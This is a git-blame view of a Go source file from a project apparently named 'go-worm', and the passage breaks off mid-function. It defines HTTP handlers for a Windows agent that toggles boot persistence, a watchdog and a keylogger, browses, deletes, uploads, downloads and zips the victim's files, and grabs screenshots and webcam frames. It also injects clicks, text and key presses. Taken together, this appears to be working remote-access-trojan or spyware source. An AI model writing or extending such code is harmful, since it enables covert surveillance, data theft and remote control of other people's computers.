2026-08-18 16:40:50 +03:00
|
|
|
package agent
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"context"
|
|
|
|
|
"encoding/json"
|
|
|
|
|
"errors"
|
|
|
|
|
"io"
|
|
|
|
|
"mime"
|
|
|
|
|
"net/http"
|
|
|
|
|
"os"
|
|
|
|
|
"path/filepath"
|
|
|
|
|
"runtime"
|
|
|
|
|
"strconv"
|
|
|
|
|
"strings"
|
|
|
|
|
"time"
|
|
|
|
|
|
2026-09-01 23:25:38 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
2026-08-18 16:40:50 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/command"
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/files"
|
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
2026-08-18 19:12:25 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/input"
|
2026-08-28 12:44:09 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/keylog"
|
2026-08-18 16:40:50 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
2026-08-28 13:23:41 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/openapi"
|
2026-08-18 16:40:50 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
2026-08-18 17:06:20 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/startup"
|
2026-09-01 20:17:06 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/update"
|
2026-08-29 18:34:05 +03:00
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/webcam"
|
2026-08-18 16:40:50 +03:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodGet {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]string{"status": "ok"})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodGet {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-08-28 13:23:41 +03:00
|
|
|
helpers.WriteJSON(w, http.StatusOK, openapi.Spec())
|
2026-08-18 16:40:50 +03:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodGet {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
host, _ := os.Hostname()
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
|
|
|
|
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
|
|
|
|
|
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
|
|
|
|
"agent_version": config.Version, "listen_address": a.addr,
|
2026-09-02 00:15:37 +03:00
|
|
|
"startup_enabled": startup.Enabled(),
|
|
|
|
|
"watchdog_enabled": startup.WatchdogEnabled(),
|
|
|
|
|
"klogging": keylog.Running(),
|
2026-08-18 16:40:50 +03:00
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-18 17:06:20 +03:00
|
|
|
func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
switch r.Method {
|
|
|
|
|
case http.MethodPost:
|
|
|
|
|
if err := startup.Enable(); err != nil {
|
|
|
|
|
helpers.Log.Printf("startup enable: %v", err)
|
2026-09-02 00:15:37 +03:00
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
2026-08-18 17:06:20 +03:00
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
case http.MethodDelete:
|
|
|
|
|
if err := startup.Disable(); err != nil {
|
|
|
|
|
helpers.Log.Printf("startup disable: %v", err)
|
2026-09-02 00:15:37 +03:00
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
2026-08-18 17:06:20 +03:00
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
default:
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-09-02 00:15:37 +03:00
|
|
|
helpers.WriteJSON(w, http.StatusOK, persistState())
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (a *Agent) handleWatchdog(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
switch r.Method {
|
|
|
|
|
case http.MethodPost:
|
|
|
|
|
if err := startup.EnableWatchdog(); err != nil {
|
|
|
|
|
helpers.Log.Printf("watchdog enable: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
case http.MethodDelete:
|
|
|
|
|
if err := startup.DisableWatchdog(); err != nil {
|
|
|
|
|
helpers.Log.Printf("watchdog disable: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
default:
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, persistState())
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func persistState() map[string]any {
|
|
|
|
|
return map[string]any{
|
|
|
|
|
"startup_enabled": startup.Enabled(),
|
|
|
|
|
"watchdog_enabled": startup.WatchdogEnabled(),
|
|
|
|
|
}
|
2026-08-18 17:06:20 +03:00
|
|
|
}
|
|
|
|
|
|
2026-09-01 23:36:39 +03:00
|
|
|
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
switch r.Method {
|
|
|
|
|
case http.MethodGet:
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
|
|
|
|
"klogging": config.KeylogEnabled(),
|
|
|
|
|
"klogging_running": keylog.Running(),
|
|
|
|
|
})
|
|
|
|
|
case http.MethodPut:
|
|
|
|
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
|
|
|
|
defer r.Body.Close()
|
|
|
|
|
var body struct {
|
|
|
|
|
Klogging *bool `json:"klogging"`
|
|
|
|
|
}
|
|
|
|
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "klogging is required")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if err := keylog.SetEnabled(*body.Klogging); err != nil {
|
|
|
|
|
helpers.Log.Printf("klogging set: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
|
|
|
|
"klogging": config.KeylogEnabled(),
|
|
|
|
|
"klogging_running": keylog.Running(),
|
|
|
|
|
})
|
|
|
|
|
default:
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-18 16:40:50 +03:00
|
|
|
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
2026-08-28 13:08:14 +03:00
|
|
|
switch r.Method {
|
|
|
|
|
case http.MethodGet:
|
|
|
|
|
a.listFiles(w, r)
|
|
|
|
|
case http.MethodDelete:
|
|
|
|
|
a.deleteFile(w, r)
|
|
|
|
|
default:
|
2026-08-18 16:40:50 +03:00
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
}
|
2026-08-28 13:08:14 +03:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (a *Agent) listFiles(w http.ResponseWriter, r *http.Request) {
|
2026-08-18 16:40:50 +03:00
|
|
|
depth, err := files.ParseDepth(r.URL.Query().Get("depth"))
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
path := r.URL.Query().Get("path")
|
|
|
|
|
if path == "" {
|
|
|
|
|
path, _ = os.UserHomeDir()
|
|
|
|
|
}
|
|
|
|
|
dir, err := files.AllowedPath(a.root, path, true)
|
|
|
|
|
if err != nil {
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
info, err := os.Stat(dir)
|
|
|
|
|
if err != nil {
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if !info.IsDir() {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "path is not a directory")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
entries, err := files.ListDirectory(dir, depth)
|
|
|
|
|
if err != nil {
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"path": dir, "depth": depth, "entries": entries})
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-28 13:08:14 +03:00
|
|
|
func (a *Agent) deleteFile(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
path := r.URL.Query().Get("path")
|
|
|
|
|
if path == "" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "path is required")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if err := files.RemovePath(a.root, path); err != nil {
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "path": path})
|
|
|
|
|
}
|
|
|
|
|
|
2026-09-01 20:20:15 +03:00
|
|
|
func (a *Agent) handleZipFolder(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodGet {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
path := r.URL.Query().Get("path")
|
|
|
|
|
if path == "" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "path is required")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
dir, err := files.AllowedPath(a.root, path, true)
|
|
|
|
|
if err != nil {
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
info, err := os.Stat(dir)
|
|
|
|
|
if err != nil {
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if !info.IsDir() {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "path is not a directory")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
zipPath, err := files.ZipDirectory(dir, config.MaxUploadSize)
|
|
|
|
|
if err != nil {
|
|
|
|
|
switch {
|
|
|
|
|
case errors.Is(err, files.ErrZipTooLarge):
|
|
|
|
|
helpers.WriteError(w, http.StatusRequestEntityTooLarge, err.Error())
|
|
|
|
|
default:
|
|
|
|
|
helpers.Log.Printf("zip folder: %v", err)
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
}
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
defer os.Remove(zipPath)
|
|
|
|
|
|
|
|
|
|
f, err := os.Open(zipPath)
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.Log.Printf("zip open: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not read archive")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
defer f.Close()
|
|
|
|
|
zipInfo, err := f.Stat()
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not read archive")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
name := files.ZipArchiveName(dir)
|
|
|
|
|
w.Header().Set("Content-Type", "application/zip")
|
|
|
|
|
w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`)
|
|
|
|
|
http.ServeContent(w, r, name, zipInfo.ModTime(), f)
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-18 16:40:50 +03:00
|
|
|
func (a *Agent) handleDownload(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodGet {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
path := r.URL.Query().Get("path")
|
|
|
|
|
if path == "" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "path is required")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
file, err := files.AllowedPath(a.root, path, true)
|
|
|
|
|
if err != nil {
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
f, err := os.Open(file)
|
|
|
|
|
if err != nil {
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
defer f.Close()
|
|
|
|
|
info, err := f.Stat()
|
|
|
|
|
if err != nil {
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if info.IsDir() {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "path is a directory")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
name := filepath.Base(file)
|
|
|
|
|
contentType := mime.TypeByExtension(filepath.Ext(name))
|
|
|
|
|
if contentType == "" {
|
|
|
|
|
var sample [512]byte
|
|
|
|
|
n, _ := f.Read(sample[:])
|
|
|
|
|
contentType = http.DetectContentType(sample[:n])
|
|
|
|
|
_, _ = f.Seek(0, io.SeekStart)
|
|
|
|
|
}
|
|
|
|
|
w.Header().Set("Content-Type", contentType)
|
2026-08-29 18:26:27 +03:00
|
|
|
disp := "attachment"
|
|
|
|
|
if r.URL.Query().Get("inline") == "1" {
|
|
|
|
|
disp = "inline"
|
|
|
|
|
}
|
|
|
|
|
w.Header().Set("Content-Disposition", disp+`; filename="`+strings.ReplaceAll(name, `"`, "'")+`"`)
|
2026-08-18 16:40:50 +03:00
|
|
|
w.Header().Set("Accept-Ranges", "bytes")
|
|
|
|
|
http.ServeContent(w, r, name, info.ModTime(), f)
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-28 12:52:26 +03:00
|
|
|
func (a *Agent) handleUpload(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodPost {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
r.Body = http.MaxBytesReader(w, r.Body, config.MaxUploadSize)
|
|
|
|
|
if err := r.ParseMultipartForm(config.MaxUploadSize); err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "upload body is too large or invalid")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
dir := strings.TrimSpace(r.FormValue("path"))
|
|
|
|
|
if dir == "" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "path is required")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
upload, header, err := r.FormFile("file")
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "file is required")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
defer upload.Close()
|
|
|
|
|
|
|
|
|
|
target, err := files.UploadTarget(a.root, dir, header.Filename)
|
|
|
|
|
if err != nil {
|
|
|
|
|
switch {
|
|
|
|
|
case errors.Is(err, files.ErrBadUploadName):
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
|
|
|
|
default:
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
}
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
out, err := os.OpenFile(target, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o644)
|
|
|
|
|
if err != nil {
|
|
|
|
|
files.WritePathError(w, err)
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
written, err := io.Copy(out, upload)
|
|
|
|
|
closeErr := out.Close()
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.Log.Printf("upload: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not save file")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if closeErr != nil {
|
|
|
|
|
helpers.Log.Printf("upload close: %v", closeErr)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not save file")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
|
|
|
|
"ok": true,
|
|
|
|
|
"path": target,
|
|
|
|
|
"size": written,
|
|
|
|
|
"name": filepath.Base(target),
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-18 16:40:50 +03:00
|
|
|
func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodGet {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format")))
|
|
|
|
|
if format == "" {
|
|
|
|
|
format = "png"
|
|
|
|
|
}
|
|
|
|
|
if format != "png" && format != "jpeg" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
quality := 80
|
|
|
|
|
if raw := r.URL.Query().Get("quality"); raw != "" {
|
|
|
|
|
var err error
|
|
|
|
|
quality, err = strconv.Atoi(raw)
|
|
|
|
|
if err != nil || quality < 1 || quality > config.MaxImageQuality {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-08-18 19:12:25 +03:00
|
|
|
monitor := 0
|
|
|
|
|
if raw := r.URL.Query().Get("monitor"); raw != "" {
|
|
|
|
|
var err error
|
|
|
|
|
monitor, err = strconv.Atoi(raw)
|
|
|
|
|
if err != nil || monitor < 0 {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "monitor must be 0 or greater")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
}
|
2026-09-01 23:25:38 +03:00
|
|
|
frame, err := capture.CaptureMonitor(monitor, format, quality)
|
2026-08-18 16:40:50 +03:00
|
|
|
if err != nil {
|
2026-09-01 23:25:38 +03:00
|
|
|
if errors.Is(err, capture.ErrMonitorNotFound) {
|
2026-08-18 19:12:25 +03:00
|
|
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-08-18 16:40:50 +03:00
|
|
|
helpers.Log.Printf("screenshot: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusServiceUnavailable, "no interactive desktop is available")
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-08-18 19:12:25 +03:00
|
|
|
w.Header().Set("Content-Type", frame.ContentType)
|
|
|
|
|
w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data)))
|
|
|
|
|
w.Header().Set("X-Monitor-Left", strconv.Itoa(frame.Left))
|
|
|
|
|
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
|
|
|
|
|
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
|
|
|
|
|
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
|
|
|
|
|
_, _ = w.Write(frame.Data)
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-29 18:34:05 +03:00
|
|
|
func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodGet {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
devices, err := webcam.List()
|
|
|
|
|
if err != nil {
|
|
|
|
|
helpers.Log.Printf("webcam list: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusServiceUnavailable, "webcam list failed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if devices == nil {
|
|
|
|
|
devices = []webcam.Device{}
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (a *Agent) handleWebcamFrame(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodGet {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format")))
|
|
|
|
|
if format == "" {
|
|
|
|
|
format = "jpeg"
|
|
|
|
|
}
|
|
|
|
|
if format != "png" && format != "jpeg" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
quality := 80
|
|
|
|
|
if raw := r.URL.Query().Get("quality"); raw != "" {
|
|
|
|
|
var err error
|
|
|
|
|
quality, err = strconv.Atoi(raw)
|
|
|
|
|
if err != nil || quality < 1 || quality > config.MaxImageQuality {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
device := 0
|
|
|
|
|
if raw := r.URL.Query().Get("device"); raw != "" {
|
|
|
|
|
var err error
|
|
|
|
|
device, err = strconv.Atoi(raw)
|
|
|
|
|
if err != nil || device < 0 {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "device must be 0 or greater")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
frame, err := webcam.Capture(device, format, quality)
|
|
|
|
|
if err != nil {
|
|
|
|
|
if errors.Is(err, webcam.ErrDeviceNotFound) {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.Log.Printf("webcam capture: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusServiceUnavailable, "webcam capture failed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
w.Header().Set("Content-Type", frame.ContentType)
|
|
|
|
|
w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data)))
|
|
|
|
|
w.Header().Set("X-Webcam-Width", strconv.Itoa(frame.Width))
|
|
|
|
|
w.Header().Set("X-Webcam-Height", strconv.Itoa(frame.Height))
|
|
|
|
|
_, _ = w.Write(frame.Data)
|
|
|
|
|
}
|
|
|
|
|
|
2026-08-18 19:12:25 +03:00
|
|
|
func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodPost {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
2026-08-18 16:40:50 +03:00
|
|
|
return
|
|
|
|
|
}
|
2026-08-18 19:12:25 +03:00
|
|
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
|
|
|
|
defer r.Body.Close()
|
|
|
|
|
var request models.ClickRequest
|
|
|
|
|
decoder := json.NewDecoder(r.Body)
|
|
|
|
|
decoder.DisallowUnknownFields()
|
|
|
|
|
if err := decoder.Decode(&request); err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "body must contain click coordinates")
|
|
|
|
|
return
|
2026-08-18 16:40:50 +03:00
|
|
|
}
|
2026-08-18 19:12:25 +03:00
|
|
|
left, top, width, height, err := screenshot.MonitorBounds(request.Monitor)
|
|
|
|
|
if err != nil {
|
|
|
|
|
if errors.Is(err, screenshot.ErrMonitorNotFound) {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "monitor not found")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if request.X < left || request.Y < top || request.X >= left+width || request.Y >= top+height {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "click is outside the selected monitor")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if err := input.Click(request.X, request.Y, request.Button); err != nil {
|
|
|
|
|
if errors.Is(err, input.ErrBadButton) {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.Log.Printf("click: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not click")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "x": request.X, "y": request.Y})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodPost {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
|
|
|
|
defer r.Body.Close()
|
|
|
|
|
var request models.TextRequest
|
|
|
|
|
decoder := json.NewDecoder(r.Body)
|
|
|
|
|
decoder.DisallowUnknownFields()
|
|
|
|
|
if err := decoder.Decode(&request); err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "body must contain text")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if request.Text == "" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, input.ErrEmptyText.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if len(request.Text) > config.MaxInputText {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "text is too long")
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-08-28 12:52:26 +03:00
|
|
|
delayMs := config.DefaultKeyDelayMs
|
|
|
|
|
if request.DelayMs != nil {
|
|
|
|
|
delayMs = input.ResolveKeyDelay(*request.DelayMs)
|
|
|
|
|
}
|
|
|
|
|
if err := input.TypeText(request.Text, delayMs); err != nil {
|
2026-08-18 19:12:25 +03:00
|
|
|
helpers.Log.Printf("text: %v", err)
|
|
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not type text")
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-08-28 12:52:26 +03:00
|
|
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
|
|
|
|
"ok": true,
|
|
|
|
|
"length": len(request.Text),
|
|
|
|
|
"delay_ms": delayMs,
|
|
|
|
|
})
|
2026-08-18 16:40:50 +03:00
|
|
|
}
|
|
|
|
|
|
2026-08-28 13:11:56 +03:00
|
|
|
func (a *Agent) handleKey(w http.ResponseWriter, r *http.Request) {
|
|
|
|
|
if r.Method != http.MethodPost {
|
|
|
|
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
|
|
|
|
defer r.Body.Close()
|
|
|
|
|
var request models.KeyRequest
|
|
|
|
|
decoder := json.NewDecoder(r.Body)
|
|
|
|
|
decoder.DisallowUnknownFields()
|
|
|
|
|
if err := decoder.Decode(&request); err != nil {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "body must contain a key")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if request.Key == "" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "key is required")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
action := strings.ToLower(strings.TrimSpace(request.Action))
|
|
|
|
|
if action == "" {
|
|
|
|
|
action = "tap"
|
|
|
|
|
}
|
|
|
|
|
if action != "tap" && action != "down" && action != "up" {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, "action must be tap, down, or up")
|
|
|
|
|
return
|
|
|
|
|
}
|
|
|
|
|
if err := input.PressKey(request.Key, action, request.Modifiers); err != nil {
|
|
|
|
|
if errors.Is(err, input.ErrBadKey) {
|
|
|
|
|
helpers.WriteError(w, http.StatusBadRequest, err.Error())
|
|
|
|
|
return
|
|
|
|
|
}
|
2026-08-28 13:20:04 +03:00
|
|
|
helpers.Log.Printf("key %q action=%s mods=%v: %v", request.Key, action, request.Modifiers, err)
|
2026-08-28 13:11:56 +03:00
|
|
|
helpers.WriteError(w, http.StatusInternalServerError, "could not send key")
|
|
|
|
|
return
|
|
|
